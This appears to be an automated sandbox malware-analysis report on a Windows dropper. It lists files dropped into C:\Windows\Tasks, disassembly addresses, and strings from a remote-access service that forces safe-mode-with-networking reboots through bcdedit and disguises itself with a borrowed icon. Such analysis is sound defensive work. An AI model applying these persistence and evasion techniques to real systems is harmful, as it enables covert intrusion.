Source: sdABZ4.E1924R.2.dr	Static PE information: section name: .didat
Source: conhost.exe.6.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00413660 push eax; ret	0_2_0041368E
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E507FEF1 push rcx; ret	23_2_00007FF7E507FEF2
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50907F8 push rbp; iretd	23_2_00007FF7E50907F9
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50912EF push rbp; iretd	23_2_00007FF7E50912F0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508DC21 push rsp; ret	23_2_00007FF7E508DC23
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A8CF9 push 8B481074h; iretd	23_2_00007FF7E50A8CFF
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508DC11 push rax; ret	23_2_00007FF7E508DC13
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5091400 push rbp; iretd	23_2_00007FF7E5091401
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E508DC01 push rcx; ret	23_2_00007FF7E508DC02
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E507FEF1 push rcx; ret	26_2_00007FF7E507FEF2
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50907F8 push rbp; iretd	26_2_00007FF7E50907F9
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50912EF push rbp; iretd	26_2_00007FF7E50912F0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508DC21 push rsp; ret	26_2_00007FF7E508DC23
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A8CF9 push 8B481074h; iretd	26_2_00007FF7E50A8CFF
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508DC11 push rax; ret	26_2_00007FF7E508DC13
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5091400 push rbp; iretd	26_2_00007FF7E5091401
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E508DC01 push rcx; ret	26_2_00007FF7E508DC02

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\cmd.exe

Executable created and started: C:\Windows\Tasks\sync_browser.exe

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\GIjul8.QTIrrr	Jump to dropped file
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sdABZ4.E1924R	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sync_browser.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\sdABZ4.E1924R	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\conhost.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\GIjul8.QTIrrr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sdABZ4.E1924R	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sync_browser.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\conhost.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\gTFLK1.jBd3Ei	Jump to dropped file
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\sdABZ4.E1924R	Jump to dropped file
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\GIjul8.QTIrrr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\gTFLK1.jBd3Ei	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Tasks\sdABZ4.E1924R	Jump to dropped file

Source: GIjul8.QTIrrr.2.dr	Binary or memory string: bcdedit.exe
Source: GIjul8.QTIrrr.2.dr	Binary or memory string: WTSGetActiveConsoleSessionIdkernel32WTSQueryUserTokenWtsapi32.dllWinsta0\Winlogon\winsta.dllWinStationQueryInformationW\\.\Pipe\TerminalServer\SystemExecSrvr\%d_runservice_commandline -service_runSeTcbPrivilegewinlogon.exeWTSEnumerateProcessesAwtsapi32WTSFreeMemoryWinsta0\Winlogonwinsta.dlluser32.dllWinStationConnectWLockWorkStationGlobal\SessionEventUltraHost name unavailableIP address unavailable%d., Global\SessionEventUltraCadsas.dllSendSAScad.exeWTSEnumerateSessionsAConsoleLockWorkstation failed with error 0x%0XRegisterServiceCtrlHandlerExAadvapi32.dllProvides secure remote desktop sharingSYSTEM\CurrentControlSet\Services\%sFailed to open service control managerTcpipFailed: Permission deniedFailed to create a new serviceFailed to open the serviceFailed to query service statusFailed to delete the service" -serviceNetworkSYSTEM\CurrentControlSet\Control\SafeBoot\%s\%sServiceSYSTEMDRIVE/boot.inidefaultboot loaderoperating systems /safeboot:networkSystemRoot\system32\bcdedit.exe/set safeboot networkSeShutdownPrivilege-rebootforce-rebootsafemode/deletevalue safebootSOFTWARE\Microsoft\Windows\CurrentVersion\PoliciesSystemSoftwareSASGeneration-delsoftwarecad-softwarecadding_dong.wavRICHED32.DLL------------------------------------------------------------------------------------------------------------------------
Source: sync_browser.exe.6.dr	Binary or memory string: bcdedit.exe
Source: sync_browser.exe.6.dr	Binary or memory string: WTSGetActiveConsoleSessionIdkernel32WTSQueryUserTokenWtsapi32.dllWinsta0\Winlogon\winsta.dllWinStationQueryInformationW\\.\Pipe\TerminalServer\SystemExecSrvr\%d_runservice_commandline -service_runSeTcbPrivilegewinlogon.exeWTSEnumerateProcessesAwtsapi32WTSFreeMemoryWinsta0\Winlogonwinsta.dlluser32.dllWinStationConnectWLockWorkStationGlobal\SessionEventUltraHost name unavailableIP address unavailable%d., Global\SessionEventUltraCadsas.dllSendSAScad.exeWTSEnumerateSessionsAConsoleLockWorkstation failed with error 0x%0XRegisterServiceCtrlHandlerExAadvapi32.dllProvides secure remote desktop sharingSYSTEM\CurrentControlSet\Services\%sFailed to open service control managerTcpipFailed: Permission deniedFailed to create a new serviceFailed to open the serviceFailed to query service statusFailed to delete the service" -serviceNetworkSYSTEM\CurrentControlSet\Control\SafeBoot\%s\%sServiceSYSTEMDRIVE/boot.inidefaultboot loaderoperating systems /safeboot:networkSystemRoot\system32\bcdedit.exe/set safeboot networkSeShutdownPrivilege-rebootforce-rebootsafemode/deletevalue safebootSOFTWARE\Microsoft\Windows\CurrentVersion\PoliciesSystemSoftwareSASGeneration-delsoftwarecad-softwarecadding_dong.wavRICHED32.DLL------------------------------------------------------------------------------------------------------------------------
Source: GIjul8.QTIrrr.0.dr	Binary or memory string: bcdedit.exe
Source: GIjul8.QTIrrr.0.dr	Binary or memory string: WTSGetActiveConsoleSessionIdkernel32WTSQueryUserTokenWtsapi32.dllWinsta0\Winlogon\winsta.dllWinStationQueryInformationW\\.\Pipe\TerminalServer\SystemExecSrvr\%d_runservice_commandline -service_runSeTcbPrivilegewinlogon.exeWTSEnumerateProcessesAwtsapi32WTSFreeMemoryWinsta0\Winlogonwinsta.dlluser32.dllWinStationConnectWLockWorkStationGlobal\SessionEventUltraHost name unavailableIP address unavailable%d., Global\SessionEventUltraCadsas.dllSendSAScad.exeWTSEnumerateSessionsAConsoleLockWorkstation failed with error 0x%0XRegisterServiceCtrlHandlerExAadvapi32.dllProvides secure remote desktop sharingSYSTEM\CurrentControlSet\Services\%sFailed to open service control managerTcpipFailed: Permission deniedFailed to create a new serviceFailed to open the serviceFailed to query service statusFailed to delete the service" -serviceNetworkSYSTEM\CurrentControlSet\Control\SafeBoot\%s\%sServiceSYSTEMDRIVE/boot.inidefaultboot loaderoperating systems /safeboot:networkSystemRoot\system32\bcdedit.exe/set safeboot networkSeShutdownPrivilege-rebootforce-rebootsafemode/deletevalue safebootSOFTWARE\Microsoft\Windows\CurrentVersion\PoliciesSystemSoftwareSASGeneration-delsoftwarecad-softwarecadding_dong.wavRICHED32.DLL------------------------------------------------------------------------------------------------------------------------

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7650 GetPrivateProfileIntA,RegCreateKeyExA,RegCreateKeyExA,	23_2_00007FF7E50C7650
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7EB0 GetPrivateProfileIntA,	23_2_00007FF7E50C7EB0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7D50 GetPrivateProfileIntA,	23_2_00007FF7E50C7D50
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7E10 GetPrivateProfileIntA,	23_2_00007FF7E50C7E10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C78E0 GetPrivateProfileIntA,RegQueryValueExA,RegQueryValueExA,GetPrivateProfileStringA,	23_2_00007FF7E50C78E0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7750 GetPrivateProfileIntA,RegCloseKey,RegCloseKey,RegCloseKey,	23_2_00007FF7E50C7750
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7F50 GetPrivateProfileIntA,	23_2_00007FF7E50C7F50
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C77F0 GetPrivateProfileIntA,RegQueryValueExA,GetPrivateProfileIntA,	23_2_00007FF7E50C77F0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C9A40 GetPrivateProfileIntA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetPrivateProfileIntA,	23_2_00007FF7E50C9A40
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50781AD GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetLastError,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStrin	23_2_00007FF7E50781AD
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E507E1D0 GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetLastError,_itow,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivat	23_2_00007FF7E507E1D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7C90 GetPrivateProfileIntA,	23_2_00007FF7E50C7C90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50C7BD0 GetPrivateProfileIntA,	23_2_00007FF7E50C7BD0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7650 GetPrivateProfileIntA,RegCreateKeyExA,RegCreateKeyExA,	26_2_00007FF7E50C7650
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7EB0 GetPrivateProfileIntA,	26_2_00007FF7E50C7EB0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7D50 GetPrivateProfileIntA,	26_2_00007FF7E50C7D50
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7E10 GetPrivateProfileIntA,	26_2_00007FF7E50C7E10
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C78E0 GetPrivateProfileIntA,RegQueryValueExA,RegQueryValueExA,GetPrivateProfileStringA,	26_2_00007FF7E50C78E0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7750 GetPrivateProfileIntA,RegCloseKey,RegCloseKey,RegCloseKey,	26_2_00007FF7E50C7750
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7F50 GetPrivateProfileIntA,	26_2_00007FF7E50C7F50
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C77F0 GetPrivateProfileIntA,RegQueryValueExA,GetPrivateProfileIntA,	26_2_00007FF7E50C77F0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C9A40 GetPrivateProfileIntA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetPrivateProfileIntA,	26_2_00007FF7E50C9A40
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50781AD GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetLastError,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStrin	26_2_00007FF7E50781AD
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E507E1D0 GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetLastError,_itow,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStringA,GetPrivateProfileStringA,WritePrivateProfileStringA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivateProfileStringA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileStructA,WritePrivateProfileStructA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,GetPrivateProfileIntA,wsprintfA,WritePrivateProfileStringA,wsprintfA,WritePrivat	26_2_00007FF7E507E1D0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7C90 GetPrivateProfileIntA,	26_2_00007FF7E50C7C90
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50C7BD0 GetPrivateProfileIntA,	26_2_00007FF7E50C7BD0

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\Tasks\5482310161066753

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (98).png

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A48B0 IsIconic,IsWindowVisible,GetWindowRect,SHAppBarMessage,		23_2_00007FF7E50A48B0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E50A48B0 IsIconic,IsWindowVisible,GetWindowRect,SHAppBarMessage,		26_2_00007FF7E50A48B0

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50A3E20 OpenInputDesktop,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,SetThreadDesktop,LoadLibraryA,GetProcAddress,GetStockObject,RegisterClassExA,SetEvent,CreateWindowExA,SetTimer,SetWindowLongPtrA,SetClipboardViewer,CreateThread,CloseHandle,GetModuleFileNameA,GetModuleFileNameA,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,SetEvent,PeekMessageA,Sleep,CreateRectRgn,CombineRgn,DeleteObject,free,SetEvent,SetEvent,SetEvent,TranslateMessage,DispatchMessageA,WaitMessage,DestroyWindow,DestroyWindow,SetEvent,KillTimer,FreeLibrary,FreeLibrary,FreeLibrary,SetThreadDesktop,CloseDesktop,

23_2_00007FF7E50A3E20

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Tasks\sync_browser.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Tasks\sync_browser.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\Tasks\sync_browser.exe

23_2_00007FF7E50D9BC0

